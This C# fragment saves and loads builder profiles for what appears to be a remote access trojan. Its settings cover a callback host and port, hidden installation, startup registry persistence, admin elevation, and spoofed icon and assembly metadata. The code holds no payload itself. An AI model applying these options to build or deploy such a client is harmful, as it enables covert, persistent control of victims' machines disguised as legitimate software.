private void SaveProfile(string profilename) { ProfileManager pm = new ProfileManager(profilename + ".xml"); pm.WriteValue("Hostname", txtHost.Text); pm.WriteValue("ListenPort", txtPort.Text); pm.WriteValue("Password", txtPassword.Text); pm.WriteValue("Delay", txtDelay.Text); pm.WriteValue("Mutex", txtMutex.Text); pm.WriteValue("InstallClient", chkInstall.Checked.ToString()); pm.WriteValue("InstallName", txtInstallname.Text); pm.WriteValue("InstallPath", GetInstallpath().ToString()); pm.WriteValue("InstallSub", txtInstallsub.Text); pm.WriteValue("HideFile", chkHide.Checked.ToString()); pm.WriteValue("AddStartup", chkStartup.Checked.ToString()); pm.WriteValue("RegistryName", txtRegistryKeyName.Text); pm.WriteValue("AdminElevation", chkElevation.Checked.ToString()); pm.WriteValue("ChangeIcon", chkIconChange.Checked.ToString()); pm.WriteValue("ChangeAsmInfo", chkChangeAsmInfo.Checked.ToString()); pm.WriteValue("ProductName", txtProductName.Text); pm.WriteValue("Description", txtDescription.Text); pm.WriteValue("CompanyName", txtCompanyName.Text); pm.WriteValue("Copyright", txtCopyright.Text); pm.WriteValue("Trademarks", txtTrademarks.Text); pm.WriteValue("OriginalFilename", txtOriginalFilename.Text); pm.WriteValue("ProductVersion", txtProductVersion.Text); pm.WriteValue("FileVersion", txtFileVersion.Text); }
private void LoadProfile(string profilename) { ProfileManager pm = new ProfileManager(profilename + ".xml"); txtHost.Text = pm.ReadValue("Hostname"); txtPort.Text = pm.ReadValue("ListenPort"); txtPassword.Text = pm.ReadValue("Password"); txtDelay.Text = pm.ReadValue("Delay"); txtMutex.Text = pm.ReadValue("Mutex"); chkInstall.Checked = bool.Parse(pm.ReadValue("InstallClient")); txtInstallname.Text = pm.ReadValue("InstallName"); GetInstallpath(int.Parse(pm.ReadValue("InstallPath"))).Checked = true; txtInstallsub.Text = pm.ReadValue("InstallSub"); chkHide.Checked = bool.Parse(pm.ReadValue("HideFile")); chkStartup.Checked = bool.Parse(pm.ReadValue("AddStartup")); txtRegistryKeyName.Text = pm.ReadValue("RegistryName"); chkElevation.Checked = bool.Parse(pm.ReadValue("AdminElevation")); chkIconChange.Checked = bool.Parse(pm.ReadValue("ChangeIcon")); // new profile options - fallback for old version chkChangeAsmInfo.Checked = bool.Parse((!string.IsNullOrEmpty(pm.ReadValue("ChangeAsmInfo"))) ? pm.ReadValue("ChangeAsmInfo") : "False"); txtProductName.Text = pm.ReadValue("ProductName"); txtDescription.Text = pm.ReadValue("Description"); txtCompanyName.Text = pm.ReadValue("CompanyName"); txtCopyright.Text = pm.ReadValue("Copyright"); txtTrademarks.Text = pm.ReadValue("Trademarks"); txtOriginalFilename.Text = pm.ReadValue("OriginalFilename"); txtProductVersion.Text = pm.ReadValue("ProductVersion"); txtFileVersion.Text = pm.ReadValue("FileVersion"); }